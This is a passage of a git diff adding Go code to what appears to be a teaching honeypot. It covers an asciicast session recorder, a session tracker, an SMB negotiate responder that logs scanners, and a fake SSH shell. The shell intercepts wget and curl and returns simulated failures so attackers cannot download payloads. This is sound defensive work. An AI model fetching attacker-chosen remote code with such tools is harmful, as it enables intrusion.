+©AngelaMos | 2026 +recorder.go + +Terminal session recorder in asciicast v2 format + +Captures SSH session I/O (input and output bytes) with precise +timestamps relative to session start. The resulting .cast file +can be replayed in the web dashboard using xterm.js or via the +asciinema CLI tool. Format specification: https://docs.asciinema.org/manual/asciicast/v2/ +*/ + +package session + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + "sync" + "time" +) + +type castHeader struct { + Version int `json:"version"` + Width int `json:"width"` + Height int `json:"height"` + Timestamp int64 `json:"timestamp"` + Env map[string]string `json:"env,omitempty"` + Title string `json:"title,omitempty"` +} + +type castEvent struct { + Time float64 + Type string + Data string +} + +func (e *castEvent) MarshalJSON() ([]byte, error) { + return json.Marshal([]any{e.Time, e.Type, e.Data}) +} + +type Recorder struct { + mu sync.Mutex + sessionID string + sourceIP string + sensorID string + cols int + rows int + startTime time.Time + header castHeader + events []castEvent +} + +func NewRecorder( + sessionID string, + sourceIP string, + sensorID string, + cols int, + rows int, +) *Recorder { + now := time.Now() + + return &Recorder{ + sessionID: sessionID, + sourceIP: sourceIP, + sensorID: sensorID, + cols: cols, + rows: rows, + startTime: now, + header: castHeader{ + Version: 2, + Width: cols, + Height: rows, + Timestamp: now.Unix(), + Env: map[string]string{ + "TERM": "xterm-256color", + "SHELL": "/bin/bash", + }, + Title: fmt.Sprintf( + "%s - %s", sourceIP, sessionID[:8], + ), + }, + } +} + +func (r *Recorder) WriteOutput(data []byte) { + r.mu.Lock() + defer r.mu.Unlock() + + r.events = append(r.events, castEvent{ + Time: r.elapsed(), + Type: "o", + Data: string(data), + }) +} + +func (r *Recorder) WriteInput(data []byte) { + r.mu.Lock() + defer r.mu.Unlock() + + r.events = append(r.events, castEvent{ + Time: r.elapsed(), + Type: "i", + Data: string(data), + }) +} + +func (r *Recorder) Resize(cols, rows int) { + r.mu.Lock() + defer r.mu.Unlock() + + r.events = append(r.events, castEvent{ + Time: r.elapsed(), + Type: "r", + Data: fmt.Sprintf("%dx%d", cols, rows), + }) +} + +func (r *Recorder) Save(dir string) (string, error) { + r.mu.Lock() + defer r.mu.Unlock() + + if err := os.MkdirAll(dir, 0o755); err != nil { + return "", fmt.Errorf("creating replay dir: %w", err) + } + + filename := fmt.Sprintf("%s.cast", r.sessionID) + path := filepath.Join(dir, filename) + + f, err := os.Create(path) + if err != nil { + return "", fmt.Errorf("creating cast file: %w", err) + } + defer func() { _ = f.Close() }() + + enc := json.NewEncoder(f) + + if err := enc.Encode(r.header); err != nil { + return "", fmt.Errorf("writing header: %w", err) + } + + for i := range r.events { + if err := enc.Encode(&r.events[i]); err != nil { + return "", fmt.Errorf("writing event: %w", err) + } + } + + return path, nil +} + +func (r *Recorder) Bytes() ([]byte, error) { + r.mu.Lock() + defer r.mu.Unlock() + + headerBytes, err := json.Marshal(r.header) + if err != nil { + return nil, fmt.Errorf("marshaling header: %w", err) + } + + result := make([]byte, 0, len(headerBytes)+1) + result = append(result, headerBytes...) + result = append(result, '\n') + + for i := range r.events { + eventBytes, err := json.Marshal(&r.events[i]) + if err != nil { + return nil, fmt.Errorf("marshaling event: %w", err) + } + result = append(result, eventBytes...) + result = append(result, '\n') + } + + return result, nil +} + +func (r *Recorder) EventCount() int { + r.mu.Lock() + defer r.mu.Unlock() + return len(r.events) +} + +func (r *Recorder) elapsed() float64 { + return time.Since(r.startTime).Seconds() +} diff --git a/PROJECTS/advanced/honeypot-network/internal/session/recorder_test.go b/PROJECTS/advanced/honeypot-network/internal/session/recorder_test.go new file mode 100644 index 00000000..d8bb4d66 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/session/recorder_test.go @@ -0,0 +1,105 @@ +/* +©AngelaMos | 2026 +recorder_test.go +*/ + +package session + +import ( + "encoding/json" + "os" + "strings" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestNewRecorderInitialState(t *testing.T) { + rec := NewRecorder("sess-001", "10.0.0.1", "sensor-01", 80, 24) + assert.Equal(t, 0, rec.EventCount()) +} + +func TestWriteOutputAndInput(t *testing.T) { + rec := NewRecorder("sess-001", "10.0.0.1", "sensor-01", 80, 24) + + rec.WriteOutput([]byte("hello")) + rec.WriteInput([]byte("ls\n")) + + assert.Equal(t, 2, rec.EventCount()) +} + +func TestBytesProducesValidAsciicast(t *testing.T) { + rec := NewRecorder("sess-001", "10.0.0.1", "sensor-01", 80, 24) + rec.WriteOutput([]byte("$ ")) + rec.WriteInput([]byte("whoami\n")) + rec.WriteOutput([]byte("root\n")) + + data, err := rec.Bytes() + require.NoError(t, err) + + lines := strings.Split(strings.TrimSpace(string(data)), "\n") + require.GreaterOrEqual(t, len(lines), 4) + + var header map[string]any + require.NoError(t, json.Unmarshal([]byte(lines[0]), &header)) + assert.InDelta(t, float64(2), header["version"], 0) + assert.InDelta(t, float64(80), header["width"], 0) + assert.InDelta(t, float64(24), header["height"], 0) + + for _, line := range lines[1:] { + var event []any + require.NoError(t, json.Unmarshal([]byte(line), &event)) + require.Len(t, event, 3) + } +} + +func TestSaveCreatesFile(t *testing.T) { + dir := t.TempDir() + rec := NewRecorder("sess-001", "10.0.0.1", "sensor-01", 80, 24) + rec.WriteOutput([]byte("hello")) + + path, err := rec.Save(dir) + require.NoError(t, err) + assert.True(t, strings.HasSuffix(path, ".cast")) + + content, err := os.ReadFile(path) + require.NoError(t, err) + + var header map[string]any + firstLine := strings.SplitN(string(content), "\n", 2)[0] + require.NoError(t, json.Unmarshal([]byte(firstLine), &header)) + assert.InDelta(t, float64(2), header["version"], 0) +} + +func TestResizeEvent(t *testing.T) { + rec := NewRecorder("sess-001", "10.0.0.1", "sensor-01", 80, 24) + rec.Resize(120, 40) + + data, err := rec.Bytes() + require.NoError(t, err) + + assert.Contains(t, string(data), "120x40") +} + +func TestEventOrdering(t *testing.T) { + rec := NewRecorder("sess-001", "10.0.0.1", "sensor-01", 80, 24) + rec.WriteOutput([]byte("one")) + rec.WriteOutput([]byte("two")) + rec.WriteOutput([]byte("three")) + + data, err := rec.Bytes() + require.NoError(t, err) + + lines := strings.Split(strings.TrimSpace(string(data)), "\n") + + var prevTime float64 + for _, line := range lines[1:] { + var event []any + require.NoError(t, json.Unmarshal([]byte(line), &event)) + ts, ok := event[0].(float64) + require.True(t, ok) + assert.GreaterOrEqual(t, ts, prevTime) + prevTime = ts + } +} diff --git a/PROJECTS/advanced/honeypot-network/internal/session/tracker.go b/PROJECTS/advanced/honeypot-network/internal/session/tracker.go new file mode 100644 index 00000000..7ac34ee2 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/session/tracker.go @@ -0,0 +1,167 @@ +/* +©AngelaMos | 2026 +tracker.go + +Thread-safe active session tracker + +Manages the lifecycle of honeypot sessions from connect to +disconnect. Each connection gets a unique session ID (UUID v7) +and is tracked in an in-memory map. Session metadata accumulates +as the attacker interacts: command counts, login status, MITRE +technique tags, and threat scores. +*/ + +package session + +import ( + "sync" + "time" + + "github.com/google/uuid" + + "github.com/CarterPerez-dev/hive/pkg/types" +) + +type Tracker struct { + mu sync.RWMutex + sessions map[string]*types.Session + onStart func(*types.Session) + onEnd func(*types.Session) +} + +func NewTracker() *Tracker { + return &Tracker{ + sessions: make(map[string]*types.Session), + } +} + +func (t *Tracker) SetOnStart(fn func(*types.Session)) { + t.mu.Lock() + defer t.mu.Unlock() + t.onStart = fn +} + +func (t *Tracker) Start( + sensorID string, + serviceType types.ServiceType, + sourceIP string, + sourcePort int, + destPort int, +) *types.Session { + sess := &types.Session{ + ID: uuid.Must(uuid.NewV7()).String(), + SensorID: sensorID, + StartedAt: time.Now().UTC(), + ServiceType: serviceType, + SourceIP: sourceIP, + SourcePort: sourcePort, + DestPort: destPort, + } + + t.mu.Lock() + t.sessions[sess.ID] = sess + onStart := t.onStart + t.mu.Unlock() + + if onStart != nil { + onStart(sess) + } + + return sess +} + +func (t *Tracker) SetOnEnd(fn func(*types.Session)) { + t.mu.Lock() + defer t.mu.Unlock() + t.onEnd = fn +} + +func (t *Tracker) End(sessionID string) *types.Session { + t.mu.Lock() + sess, exists := t.sessions[sessionID] + if !exists { + t.mu.Unlock() + return nil + } + + now := time.Now().UTC() + sess.EndedAt = &now + delete(t.sessions, sessionID) + onEnd := t.onEnd + t.mu.Unlock() + + if onEnd != nil { + onEnd(sess) + } + + return sess +} + +func (t *Tracker) Get(sessionID string) *types.Session { + t.mu.RLock() + defer t.mu.RUnlock() + return t.sessions[sessionID] +} + +func (t *Tracker) Active() []*types.Session { + t.mu.RLock() + defer t.mu.RUnlock() + + result := make([]*types.Session, 0, len(t.sessions)) + for _, sess := range t.sessions { + result = append(result, sess) + } + return result +} + +func (t *Tracker) IncrCommandCount(sessionID string) { + t.mu.Lock() + defer t.mu.Unlock() + + if sess, exists := t.sessions[sessionID]; exists { + sess.CommandCount++ + } +} + +func (t *Tracker) SetLogin( + sessionID string, + success bool, + username string, + clientVersion string, +) { + t.mu.Lock() + defer t.mu.Unlock() + + if sess, exists := t.sessions[sessionID]; exists { + sess.LoginSuccess = success + sess.Username = username + sess.ClientVersion = clientVersion + } +} + +func (t *Tracker) AddTechnique( + sessionID, techniqueID string, +) { + t.mu.Lock() + defer t.mu.Unlock() + + sess, exists := t.sessions[sessionID] + if !exists { + return + } + + for _, t := range sess.MITRETechniques { + if t == techniqueID { + return + } + } + sess.MITRETechniques = append( + sess.MITRETechniques, techniqueID, + ) +} + +func (t *Tracker) Count() int { + t.mu.RLock() + defer t.mu.RUnlock() + return len(t.sessions) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/session/tracker_test.go b/PROJECTS/advanced/honeypot-network/internal/session/tracker_test.go new file mode 100644 index 00000000..c016530b --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/session/tracker_test.go @@ -0,0 +1,170 @@ +/* +©AngelaMos | 2026 +tracker_test.go +*/ + +package session + +import ( + "sync" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/CarterPerez-dev/hive/pkg/types" +) + +func TestStartAndGet(t *testing.T) { + tr := NewTracker() + + sess := tr.Start("sensor-01", types.ServiceSSH, "10.0.0.1", 54321, 2222) + require.NotNil(t, sess) + assert.NotEmpty(t, sess.ID) + assert.Equal(t, types.ServiceSSH, sess.ServiceType) + assert.Equal(t, "10.0.0.1", sess.SourceIP) + assert.Equal(t, 54321, sess.SourcePort) + assert.Equal(t, 2222, sess.DestPort) + + got := tr.Get(sess.ID) + assert.Equal(t, sess, got) +} + +func TestEndReturnsSession(t *testing.T) { + tr := NewTracker() + + sess := tr.Start("sensor-01", types.ServiceSSH, "10.0.0.1", 54321, 2222) + ended := tr.End(sess.ID) + + require.NotNil(t, ended) + require.NotNil(t, ended.EndedAt) + + assert.Nil(t, tr.Get(sess.ID)) +} + +func TestEndNonexistent(t *testing.T) { + tr := NewTracker() + assert.Nil(t, tr.End("nonexistent-id")) +} + +func TestActive(t *testing.T) { + tr := NewTracker() + + s1 := tr.Start("sensor-01", types.ServiceSSH, "10.0.0.1", 100, 22) + tr.Start("sensor-01", types.ServiceHTTP, "10.0.0.2", 200, 80) + tr.Start("sensor-01", types.ServiceRedis, "10.0.0.3", 300, 6379) + + assert.Len(t, tr.Active(), 3) + + tr.End(s1.ID) + assert.Len(t, tr.Active(), 2) +} + +func TestCount(t *testing.T) { + tr := NewTracker() + + s1 := tr.Start("sensor-01", types.ServiceSSH, "10.0.0.1", 100, 22) + tr.Start("sensor-01", types.ServiceHTTP, "10.0.0.2", 200, 80) + assert.Equal(t, 2, tr.Count()) + + tr.End(s1.ID) + assert.Equal(t, 1, tr.Count()) +} + +func TestIncrCommandCount(t *testing.T) { + tr := NewTracker() + + sess := tr.Start("sensor-01", types.ServiceSSH, "10.0.0.1", 100, 22) + for range 5 { + tr.IncrCommandCount(sess.ID) + } + + got := tr.Get(sess.ID) + assert.Equal(t, 5, got.CommandCount) +} + +func TestSetLogin(t *testing.T) { + tr := NewTracker() + + sess := tr.Start("sensor-01", types.ServiceSSH, "10.0.0.1", 100, 22) + tr.SetLogin(sess.ID, true, "root", "SSH-2.0-paramiko_3.4.0") + + got := tr.Get(sess.ID) + assert.True(t, got.LoginSuccess) + assert.Equal(t, "root", got.Username) + assert.Equal(t, "SSH-2.0-paramiko_3.4.0", got.ClientVersion) +} + +func TestAddTechnique(t *testing.T) { + tr := NewTracker() + + sess := tr.Start("sensor-01", types.ServiceSSH, "10.0.0.1", 100, 22) + tr.AddTechnique(sess.ID, "T1078") + tr.AddTechnique(sess.ID, "T1078") + tr.AddTechnique(sess.ID, "T1059.004") + + got := tr.Get(sess.ID) + assert.Equal(t, []string{"T1078", "T1059.004"}, got.MITRETechniques) +} + +func TestOnStartCallback(t *testing.T) { + tr := NewTracker() + + var captured *types.Session + tr.SetOnStart(func(s *types.Session) { + captured = s + }) + + sess := tr.Start("sensor-01", types.ServiceSSH, "10.0.0.1", 100, 22) + require.NotNil(t, captured) + assert.Equal(t, sess.ID, captured.ID) +} + +func TestOnEndCallback(t *testing.T) { + tr := NewTracker() + + var captured *types.Session + tr.SetOnEnd(func(s *types.Session) { + captured = s + }) + + sess := tr.Start("sensor-01", types.ServiceSSH, "10.0.0.1", 100, 22) + tr.End(sess.ID) + + require.NotNil(t, captured) + assert.Equal(t, sess.ID, captured.ID) + assert.NotNil(t, captured.EndedAt) +} + +func TestConcurrentAccess(t *testing.T) { + tr := NewTracker() + + var wg sync.WaitGroup + ids := make([]string, 50) + + for i := range 50 { + wg.Add(1) + go func(idx int) { + defer wg.Done() + sess := tr.Start( + "sensor-01", types.ServiceSSH, + "10.0.0.1", 10000+idx, 22, + ) + ids[idx] = sess.ID + }(i) + } + wg.Wait() + + assert.Equal(t, 50, tr.Count()) + + for _, id := range ids { + wg.Add(1) + go func(sid string) { + defer wg.Done() + tr.End(sid) + }(id) + } + wg.Wait() + + assert.Equal(t, 0, tr.Count()) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/smbd/negotiate.go b/PROJECTS/advanced/honeypot-network/internal/smbd/negotiate.go new file mode 100644 index 00000000..4a9b27aa --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/smbd/negotiate.go @@ -0,0 +1,196 @@ +/* +©AngelaMos | 2026 +negotiate.go + +SMB negotiate protocol handler for the honeypot + +Parses NetBIOS session framing and detects SMB1/SMB2 negotiate +requests. Builds minimal negotiate responses that are valid enough +for network scanners like nmap and masscan to identify the service +as SMB. Only handles the initial negotiate exchange since full SMB +session setup requires 15+ message types. +*/ + +package smbd + +import ( + "encoding/binary" + "fmt" + "io" + "net" +) + +var ( + smb2Magic = [4]byte{0xFE, 'S', 'M', 'B'} + smb1Magic = [4]byte{0xFF, 'S', 'M', 'B'} +) + +func readNBFrame(conn net.Conn) ([]byte, error) { + hdr := make([]byte, 4) + if _, err := io.ReadFull(conn, hdr); err != nil { + return nil, err + } + + length := int(hdr[1])<<16 | + int(hdr[2])<<8 | + int(hdr[3]) + if length == 0 || length > 1<<20 { + return nil, fmt.Errorf( + "invalid frame length: %d", length, + ) + } + + data := make([]byte, length) + _, err := io.ReadFull(conn, data) + return data, err +} + +func writeNBFrame( + conn net.Conn, data []byte, +) error { + hdr := make([]byte, 4) + hdr[1] = byte(len(data) >> 16) + hdr[2] = byte(len(data) >> 8) + hdr[3] = byte(len(data)) + + _, err := conn.Write(append(hdr, data...)) + return err +} + +func detectVersion(data []byte) int { + if len(data) < 4 { + return 0 + } + + if data[0] == smb2Magic[0] && + data[1] == smb2Magic[1] && + data[2] == smb2Magic[2] && + data[3] == smb2Magic[3] { + return 2 + } + + if data[0] == smb1Magic[0] && + data[1] == smb1Magic[1] && + data[2] == smb1Magic[2] && + data[3] == smb1Magic[3] { + return 1 + } + + return 0 +} + +func buildNegotiateResponse(version int) []byte { + if version == 2 { + return buildSMB2Response() + } + return buildSMB1Response() +} + +func buildSMB2Response() []byte { + resp := make([]byte, 64+65) + + copy(resp[0:4], smb2Magic[:]) + binary.LittleEndian.PutUint16(resp[4:6], 64) + binary.LittleEndian.PutUint16(resp[14:16], 1) + + off := 64 + binary.LittleEndian.PutUint16( + resp[off:off+2], 65, + ) + binary.LittleEndian.PutUint16( + resp[off+2:off+4], 1, + ) + binary.LittleEndian.PutUint16( + resp[off+4:off+6], 0x0210, + ) + + guid := [16]byte{ + 0x01, 0x02, 0x03, 0x04, + 0x05, 0x06, 0x07, 0x08, + 0x09, 0x0a, 0x0b, 0x0c, + 0x0d, 0x0e, 0x0f, 0x10, + } + copy(resp[off+8:off+24], guid[:]) + + binary.LittleEndian.PutUint32( + resp[off+24:off+28], 7, + ) + binary.LittleEndian.PutUint32( + resp[off+28:off+32], 1<<20, + ) + binary.LittleEndian.PutUint32( + resp[off+32:off+36], 1<<20, + ) + binary.LittleEndian.PutUint32( + resp[off+36:off+40], 1<<20, + ) + + return resp +} + +func buildSMB1Response() []byte { + resp := make([]byte, 32+37) + + copy(resp[0:4], smb1Magic[:]) + resp[4] = 0x72 + resp[9] = 0x98 + binary.LittleEndian.PutUint16( + resp[10:12], 0x4001, + ) + + off := 32 + resp[off] = 17 + resp[off+3] = 0x03 + binary.LittleEndian.PutUint16( + resp[off+4:off+6], 1, + ) + binary.LittleEndian.PutUint16( + resp[off+6:off+8], 1, + ) + binary.LittleEndian.PutUint32( + resp[off+8:off+12], 1<<16, + ) + binary.LittleEndian.PutUint32( + resp[off+12:off+16], 1<<16, + ) + + return resp +} + +func extractDialects(data []byte) []string { + if len(data) < 72 { + return nil + } + + version := detectVersion(data) + if version != 2 { + return nil + } + + off := 64 + if len(data) < off+36 { + return nil + } + + dialectCount := int( + binary.LittleEndian.Uint16(data[off+2 : off+4]), + ) + if dialectCount == 0 || dialectCount > 32 { + return nil + } + + dialects := make([]string, 0, dialectCount) + dOff := off + 36 + + for i := 0; i < dialectCount && dOff+2 <= len(data); i++ { + d := binary.LittleEndian.Uint16( + data[dOff : dOff+2], + ) + dialects = append( + dialects, fmt.Sprintf("0x%04x", d), + ) + dOff += 2 + } + + return dialects +} diff --git a/PROJECTS/advanced/honeypot-network/internal/smbd/server.go b/PROJECTS/advanced/honeypot-network/internal/smbd/server.go new file mode 100644 index 00000000..bfab19e6 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/smbd/server.go @@ -0,0 +1,181 @@ +/* +©AngelaMos | 2026 +server.go + +SMB honeypot service handling NetBIOS negotiate requests + +Listens for SMB connections, reads the initial negotiate request, +detects SMB1 versus SMB2, sends a valid negotiate response, and +closes the connection. This negotiate-only approach is sufficient +for logging scanning activity targeting port 445 without the +complexity of full SMB session setup. +*/ + +package smbd + +import ( + "context" + "encoding/json" + "fmt" + "net" + "time" + + "github.com/google/uuid" + "github.com/rs/zerolog" + + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/internal/event" + "github.com/CarterPerez-dev/hive/internal/ratelimit" + "github.com/CarterPerez-dev/hive/internal/session" + "github.com/CarterPerez-dev/hive/pkg/types" +) + +type SMBService struct { + cfg *config.Config + bus *event.Bus + logger zerolog.Logger + tracker *session.Tracker + limiter *ratelimit.IPLimiter +} + +func New( + cfg *config.Config, + bus *event.Bus, + logger *zerolog.Logger, + tracker *session.Tracker, + limiter *ratelimit.IPLimiter, +) *SMBService { + return &SMBService{ + cfg: cfg, + bus: bus, + logger: logger.With().Str("service", "smb").Logger(), + tracker: tracker, + limiter: limiter, + } +} + +func (s *SMBService) Name() string { return "smb" } + +func (s *SMBService) Start( + ctx context.Context, +) error { + addr := s.cfg.Addr(s.cfg.SMB.Port) + + listener, err := net.Listen("tcp", addr) + if err != nil { + return fmt.Errorf( + "smb listen %s: %w", addr, err, + ) + } + + s.logger.Info(). + Str("addr", addr). + Msg("smb honeypot listening") + + go func() { + <-ctx.Done() + _ = listener.Close() + }() + + for ctx.Err() == nil { + conn, err := listener.Accept() + if err != nil { + s.logger.Debug(). + Err(err).Msg("accept failed") + continue + } + + go s.handleConnection(conn) + } + + return nil +} + +func (s *SMBService) handleConnection( + conn net.Conn, +) { + defer func() { _ = conn.Close() }() + + srcIP, srcPort := types.RemoteAddr(conn) + if !s.limiter.Allow(srcIP) { + return + } + + sess := s.tracker.Start( + s.cfg.Sensor.ID, types.ServiceSMB, + srcIP, srcPort, s.cfg.SMB.Port, + ) + defer s.tracker.End(sess.ID) + + s.publishConnect(sess, srcIP, srcPort) + + _ = conn.SetReadDeadline( + time.Now().Add(10 * time.Second), + ) + + data, err := readNBFrame(conn) + if err != nil { + return + } + + version := detectVersion(data) + if version == 0 { + return + } + + dialects := extractDialects(data) + s.publishScan(sess, srcIP, version, dialects) + + resp := buildNegotiateResponse(version) + _ = writeNBFrame(conn, resp) +} + +func (s *SMBService) publishConnect( + sess *types.Session, + srcIP string, + srcPort int, +) { + s.bus.Publish(config.TopicConnect, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sess.ID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceSMB, + EventType: types.EventConnect, + SourceIP: srcIP, + SourcePort: srcPort, + DestPort: s.cfg.SMB.Port, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + }) +} + +func (s *SMBService) publishScan( + sess *types.Session, + srcIP string, + version int, + dialects []string, +) { + serviceData, _ := json.Marshal( + map[string]interface{}{ + "smb_version": version, + "dialects": dialects, + }, + ) + + s.bus.Publish(config.TopicScan, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sess.ID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceSMB, + EventType: types.EventScan, + SourceIP: srcIP, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + Tags: []string{ + "smb-negotiate", "mitre:T1595", + }, + ServiceData: serviceData, + }) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/sshd/commands.go b/PROJECTS/advanced/honeypot-network/internal/sshd/commands.go new file mode 100644 index 00000000..2ac524c1 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/sshd/commands.go @@ -0,0 +1,462 @@ +/* +©AngelaMos | 2026 +commands.go + +Fake command execution for the SSH honeypot shell + +Dispatches typed commands to handlers that return realistic output +matching what an Ubuntu 22.04 server would produce. Unknown commands +return the standard bash error format. Commands like wget and curl +are logged but produce simulated network errors to prevent the +honeypot from making real outbound connections. +*/ + +package sshd + +import ( + "fmt" + "strings" + "time" +) + +type CommandContext struct { + FS *FakeFS + Hostname string + Username string + CWD string +} + +func DispatchCommand( + input string, ctx *CommandContext, +) string { + parts := strings.Fields(input) + if len(parts) == 0 { + return "" + } + + cmd := parts[0] + args := parts[1:] + + switch cmd { + case "id": + return cmdID(ctx) + case "whoami": + return cmdWhoami(ctx) + case "uname": + return cmdUname(args) + case "hostname": + return ctx.Hostname + "\n" + case "pwd": + return ctx.CWD + "\n" + case "ls": + return cmdLS(args, ctx) + case "cat": + return cmdCat(args, ctx) + case "echo": + return strings.Join(args, " ") + "\n" + case "ps": + return cmdPS() + case "w": + return cmdW(ctx) + case "uptime": + return cmdUptime() + case "free": + return cmdFree() + case "df": + return cmdDF() + case "ifconfig": + return cmdIfconfig() + case "ip": + return cmdIP(args) + case "netstat": + return cmdNetstat() + case "wget", "curl": + return cmdDownload(cmd, args) + case "cd": + return cmdCD(args, ctx) + case "history": + return "" + case "export": + return "" + case "unset": + return "" + case "env": + return cmdEnv(ctx) + case "which": + return cmdWhich(args) + case "type": + return cmdType(args) + case "nproc": + return "2\n" + case "arch": + return "x86_64\n" + case "date": + return time.Now().UTC().Format( + "Mon Jan 2 15:04:05 UTC 2006", + ) + "\n" + case "exit", "logout", "quit": + return "" + default: + return fmt.Sprintf( + "bash: %s: command not found\n", cmd, + ) + } +} + +func cmdID(ctx *CommandContext) string { + if ctx.Username == "root" { + return "uid=0(root) gid=0(root) groups=0(root)\n" + } + return "uid=1000(admin) gid=1000(admin) groups=1000(admin),27(sudo)\n" +} + +func cmdWhoami(ctx *CommandContext) string { + return ctx.Username + "\n" +} + +func cmdUname(args []string) string { + if len(args) == 0 { + return "Linux\n" + } + + for _, a := range args { + if a == "-a" || a == "--all" { + return "Linux ubuntu-server 5.15.0-105-generic " + + "#115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 " + + "x86_64 x86_64 x86_64 GNU/Linux\n" + } + if a == "-r" { + return "5.15.0-105-generic\n" + } + if a == "-n" { + return "ubuntu-server\n" + } + if a == "-m" { + return "x86_64\n" + } + } + + return "Linux\n" +} + +func cmdLS(args []string, ctx *CommandContext) string { + path := ctx.CWD + long := false + + for _, a := range args { + if strings.HasPrefix(a, "-") { + if strings.Contains(a, "l") { + long = true + } + continue + } + path = resolvePath(a, ctx.CWD) + } + + if !ctx.FS.IsDir(path) { + if ctx.FS.Exists(path) { + parts := strings.Split(path, "/") + name := parts[len(parts)-1] + if long { + return fmt.Sprintf( + "-rw-r--r-- 1 root root 0 %s %s\n", + time.Now().AddDate(0, 0, -7).Format("Jan 2 15:04"), + name, + ) + } + return name + "\n" + } + return fmt.Sprintf( + "ls: cannot access '%s': No such file or directory\n", + path, + ) + } + + if long { + return ctx.FS.ListDir(path) + } + + listing := ctx.FS.ListDir(path) + if listing == "" { + return "" + } + + var names []string + for _, line := range strings.Split(listing, "\n") { + fields := strings.Fields(line) + if len(fields) > 0 { + names = append(names, fields[len(fields)-1]) + } + } + return strings.Join(names, " ") + "\n" +} + +func cmdCat(args []string, ctx *CommandContext) string { + if len(args) == 0 { + return "" + } + + path := resolvePath(args[0], ctx.CWD) + content, exists := ctx.FS.ReadFile(path) + if !exists { + return fmt.Sprintf( + "cat: %s: No such file or directory\n", args[0], + ) + } + return content +} + +func cmdPS() string { + return " PID TTY TIME CMD\n" + + " 1 ? 00:00:03 systemd\n" + + " 412 ? 00:00:01 systemd-journal\n" + + " 489 ? 00:00:00 sshd\n" + + " 612 ? 00:00:00 cron\n" + + " 718 ? 00:00:00 apache2\n" + + " 721 ? 00:00:00 apache2\n" + + " 722 ? 00:00:00 apache2\n" + + " 1024 ? 00:00:00 mysqld\n" + + " 2048 pts/0 00:00:00 bash\n" + + " 2089 pts/0 00:00:00 ps\n" +} + +func cmdW(ctx *CommandContext) string { + now := time.Now().UTC() + return fmt.Sprintf( + " %s up 142 days, 3:27, 1 user, load average: 0.08, 0.12, 0.09\n"+ + "USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\n"+ + "%-8s pts/0 192.168.1.100 %s 0.00s 0.04s 0.00s w\n", + now.Format("15:04:05"), + ctx.Username, + now.Add(-5*time.Minute).Format("15:04"), + ) +} + +func cmdUptime() string { + now := time.Now().UTC() + return fmt.Sprintf( + " %s up 142 days, 3:27, 1 user, load average: 0.08, 0.12, 0.09\n", + now.Format("15:04:05"), + ) +} + +func cmdFree() string { + return " total used free shared buff/cache available\n" + + "Mem: 4028440 1156120 1245680 12340 1626640 2876340\n" + + "Swap: 2097148 0 2097148\n" +} + +func cmdDF() string { + return "Filesystem 1K-blocks Used Available Use% Mounted on\n" + + "/dev/sda1 41251136 8234752 30897440 22% /\n" + + "tmpfs 2014220 0 2014220 0% /dev/shm\n" + + "tmpfs 402844 1124 401720 1% /run\n" + + "tmpfs 5120 4 5116 1% /run/lock\n" + + "/dev/sda15 106858 6186 100672 6% /boot/efi\n" +} + +func cmdIfconfig() string { + return "eth0: flags=4163 mtu 1500\n" + + " inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255\n" + + " inet6 fe80::a00:27ff:fe2a:1b3c prefixlen 64 scopeid 0x20\n" + + " ether 08:00:27:2a:1b:3c txqueuelen 1000 (Ethernet)\n" + + " RX packets 524892 bytes 423871632 (423.8 MB)\n" + + " TX packets 213456 bytes 31245781 (31.2 MB)\n\n" + + "lo: flags=73 mtu 65536\n" + + " inet 127.0.0.1 netmask 255.0.0.0\n" + + " inet6 ::1 prefixlen 128 scopeid 0x10\n" + + " loop txqueuelen 1000 (Local Loopback)\n" + + " RX packets 1024 bytes 82432 (82.4 kB)\n" + + " TX packets 1024 bytes 82432 (82.4 kB)\n" +} + +func cmdIP(args []string) string { + if len(args) == 0 || args[0] == "addr" || args[0] == "a" { + return "1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000\n" + + " link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\n" + + " inet 127.0.0.1/8 scope host lo\n" + + "2: eth0: mtu 1500 qdisc fq_codel state UP group default qlen 1000\n" + + " link/ether 08:00:27:2a:1b:3c brd ff:ff:ff:ff:ff:ff\n" + + " inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic eth0\n" + } + if args[0] == "route" || args[0] == "r" { + return "default via 10.0.2.1 dev eth0 proto dhcp metric 100\n" + + "10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100\n" + } + return "" +} + +func cmdNetstat() string { + return "Active Internet connections (servers and established)\n" + + "Proto Recv-Q Send-Q Local Address Foreign Address State\n" + + "tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN\n" + + "tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN\n" + + "tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN\n" + + "tcp6 0 0 :::22 :::* LISTEN\n" +} + +func cmdDownload(cmd string, args []string) string { + if len(args) == 0 { + return fmt.Sprintf( + "%s: missing URL\nUsage: %s [OPTION]... [URL]...\n", + cmd, cmd, + ) + } + + url := args[len(args)-1] + for _, a := range args { + if !strings.HasPrefix(a, "-") { + url = a + break + } + } + + if cmd == "wget" { + return fmt.Sprintf( + "--%s-- %s\nResolving failed: Temporary failure in name resolution.\n"+ + "wget: unable to resolve 